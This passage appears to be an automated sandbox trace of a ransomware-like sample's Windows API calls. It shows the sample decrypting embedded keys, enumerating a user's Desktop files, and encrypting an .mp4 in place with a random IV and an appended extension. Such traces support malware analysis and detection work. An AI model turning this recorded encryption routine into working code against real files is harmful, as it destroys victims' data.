lpMem=0x2c8c58 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf110 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8c68 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c16b8 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8c78 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdda8 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ca8 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf130 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8cb8 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8cc8 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c16e0 | out: hHeap=0x2a0000) returned 1 [0127.120] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8cd8 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1708 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ce8 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8318 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8cf8 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf150 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d08 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1730 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d18 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf170 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d28 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c6360 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d38 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c90a8 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d48 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c90d0 | out: hHeap=0x2a0000) returned 1 [0127.121] GetProcessHeap () returned 0x2a0000 [0127.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d58 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c90f8 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d68 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9120 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d78 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9148 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d88 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf190 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8d98 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9170 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8da8 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9198 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8db8 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c91c0 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8dc8 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0127.122] GetProcessHeap () returned 0x2a0000 [0127.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8dd8 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c91e8 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8de8 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9210 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8df8 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf1b0 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e08 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9238 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e18 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf1d0 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e28 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9260 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e38 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8348 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e48 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf1f0 | out: hHeap=0x2a0000) returned 1 [0127.123] GetProcessHeap () returned 0x2a0000 [0127.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e58 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9288 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e68 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf210 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e78 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf230 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e88 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c92b0 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8e98 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf250 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ea8 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c92d8 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8eb8 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9300 | out: hHeap=0x2a0000) returned 1 [0127.124] GetProcessHeap () returned 0x2a0000 [0127.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ec8 | out: hHeap=0x2a0000) returned 1 [0127.125] GetProcessHeap () returned 0x2a0000 [0127.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1730 [0127.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f310, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6360) returned 1 [0127.126] CryptDecrypt (in: hKey=0x2c6360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1730, pdwDataLen=0x18f378 | out: pbData=0x2c1730, pdwDataLen=0x18f378) returned 1 [0127.126] CryptDestroyKey (hKey=0x2c6360) returned 1 [0127.126] GetProcessHeap () returned 0x2a0000 [0127.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1708 [0127.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f310, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6360) returned 1 [0127.126] CryptDecrypt (in: hKey=0x2c6360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1708, pdwDataLen=0x18f378 | out: pbData=0x2c1708, pdwDataLen=0x18f378) returned 1 [0127.126] CryptDestroyKey (hKey=0x2c6360) returned 1 [0127.126] GetProcessHeap () returned 0x2a0000 [0127.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c16e0 [0127.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f310, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6360) returned 1 [0127.126] CryptDecrypt (in: hKey=0x2c6360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c16e0, pdwDataLen=0x18f378 | out: pbData=0x2c16e0, pdwDataLen=0x18f378) returned 1 [0127.126] CryptDestroyKey (hKey=0x2c6360) returned 1 [0127.126] GetProcessHeap () returned 0x2a0000 [0127.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c16b8 [0127.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f310, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6360) returned 1 [0127.126] CryptDecrypt (in: hKey=0x2c6360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c16b8, pdwDataLen=0x18f378 | out: pbData=0x2c16b8, pdwDataLen=0x18f378) returned 1 [0127.126] CryptDestroyKey (hKey=0x2c6360) returned 1 [0127.126] GetProcessHeap () returned 0x2a0000 [0127.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10838) returned 0x2c9890 [0127.127] GetProcessHeap () returned 0x2a0000 [0127.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x26c0020 [0127.127] wsprintfW (in: param_1=0x2d98c2, param_2=".%s" | out: param_1=".KJHslgjkjdfg") returned 13 [0127.128] GetProcessHeap () returned 0x2a0000 [0127.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10058) returned 0x2da0d0 [0127.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4024f0, lpParameter=0x2c9890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0127.130] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) returned 0x0 [0127.680] CloseHandle (hObject=0x120) returned 1 [0127.680] GetProcessHeap () returned 0x2a0000 [0127.680] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x26c0020 | out: hHeap=0x2a0000) returned 1 [0127.681] GetProcessHeap () returned 0x2a0000 [0127.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c9890 | out: hHeap=0x2a0000) returned 1 [0127.681] GetProcessHeap () returned 0x2a0000 [0127.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c16b8 | out: hHeap=0x2a0000) returned 1 [0127.681] GetProcessHeap () returned 0x2a0000 [0127.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c16e0 | out: hHeap=0x2a0000) returned 1 [0127.681] GetProcessHeap () returned 0x2a0000 [0127.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1708 | out: hHeap=0x2a0000) returned 1 [0127.681] GetProcessHeap () returned 0x2a0000 [0127.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1730 | out: hHeap=0x2a0000) returned 1 [0127.681] GetProcessHeap () returned 0x2a0000 [0127.681] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1730 [0127.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6360) returned 1 [0127.681] CryptDecrypt (in: hKey=0x2c6360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1730, pdwDataLen=0x18f37c | out: pbData=0x2c1730, pdwDataLen=0x18f37c) returned 1 [0127.681] CryptDestroyKey (hKey=0x2c6360) returned 1 [0127.681] GetProcessHeap () returned 0x2a0000 [0127.681] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1708 [0127.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6360) returned 1 [0127.681] CryptDecrypt (in: hKey=0x2c6360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1708, pdwDataLen=0x18f37c | out: pbData=0x2c1708, pdwDataLen=0x18f37c) returned 1 [0127.681] CryptDestroyKey (hKey=0x2c6360) returned 1 [0127.681] GetProcessHeap () returned 0x2a0000 [0127.681] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c16e0 [0127.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6360) returned 1 [0127.681] CryptDecrypt (in: hKey=0x2c6360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c16e0, pdwDataLen=0x18f37c | out: pbData=0x2c16e0, pdwDataLen=0x18f37c) returned 1 [0127.682] CryptDestroyKey (hKey=0x2c6360) returned 1 [0127.682] GetProcessHeap () returned 0x2a0000 [0127.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c16b8 [0127.682] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6360) returned 1 [0127.682] CryptDecrypt (in: hKey=0x2c6360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c16b8, pdwDataLen=0x18f37c | out: pbData=0x2c16b8, pdwDataLen=0x18f37c) returned 1 [0127.682] CryptDestroyKey (hKey=0x2c6360) returned 1 [0127.682] GetProcessHeap () returned 0x2a0000 [0127.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2bec20 [0127.682] GetProcessHeap () returned 0x2a0000 [0127.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2bec10 [0127.682] GetProcessHeap () returned 0x2a0000 [0127.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10838) returned 0x2c9890 [0127.682] GetProcessHeap () returned 0x2a0000 [0127.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x26c0020 [0127.682] wsprintfW (in: param_1=0x2d98c2, param_2=".%s" | out: param_1=".KJHslgjkjdfg") returned 13 [0127.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4024f0, lpParameter=0x2c9890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0127.683] WaitForMultipleObjects (nCount=0x1, lpHandles=0x2bec10*=0x120, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x5bc Thread: id = 165 os_tid = 0x9f8 Thread: id = 166 os_tid = 0x9d4 Thread: id = 171 os_tid = 0x644 [0127.141] GetProcessHeap () returned 0x2a0000 [0127.141] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5c) returned 0x2c21e0 [0127.141] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3f813410, ftLastAccessTime.dwHighDateTime=0x1d62774, ftLastWriteTime.dwLowDateTime=0x3f813410, ftLastWriteTime.dwHighDateTime=0x1d62774, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName=".", cAlternateFileName="")) returned 0x2c6360 [0127.142] GetProcessHeap () returned 0x2a0000 [0127.142] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c21e0 | out: hHeap=0x2a0000) returned 1 [0127.142] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3f813410, ftLastAccessTime.dwHighDateTime=0x1d62774, ftLastWriteTime.dwLowDateTime=0x3f813410, ftLastWriteTime.dwHighDateTime=0x1d62774, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="..", cAlternateFileName="")) returned 1 [0127.142] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab07d10, ftCreationTime.dwHighDateTime=0x1d5dfe0, ftLastAccessTime.dwLowDateTime=0xa30f9550, ftLastAccessTime.dwHighDateTime=0x1d5e16d, ftLastWriteTime.dwLowDateTime=0xa30f9550, ftLastWriteTime.dwHighDateTime=0x1d5e16d, nFileSizeHigh=0x0, nFileSizeLow=0x60ba, dwReserved0=0x0, dwReserved1=0xffff, cFileName="-KW2K2JqC.mp4", cAlternateFileName="-KW2K2~1.MP4")) returned 1 [0127.142] GetProcessHeap () returned 0x2a0000 [0127.142] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x25e) returned 0x2c7418 [0127.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-KW2K2JqC.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-kw2k2jqc.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.143] GetProcessHeap () returned 0x2a0000 [0127.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.143] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.143] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.143] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x6, lpOverlapped=0x0) returned 1 [0127.144] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.144] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.145] GetProcessHeap () returned 0x2a0000 [0127.145] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.145] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.145] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.146] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.146] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.146] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.146] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.146] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.146] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.146] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.146] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.146] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x60ba, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x60ba, lpOverlapped=0x0) returned 1 [0127.147] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x60c0, dwBufLen=0x60c0 | out: pbData=0x26c0020*, 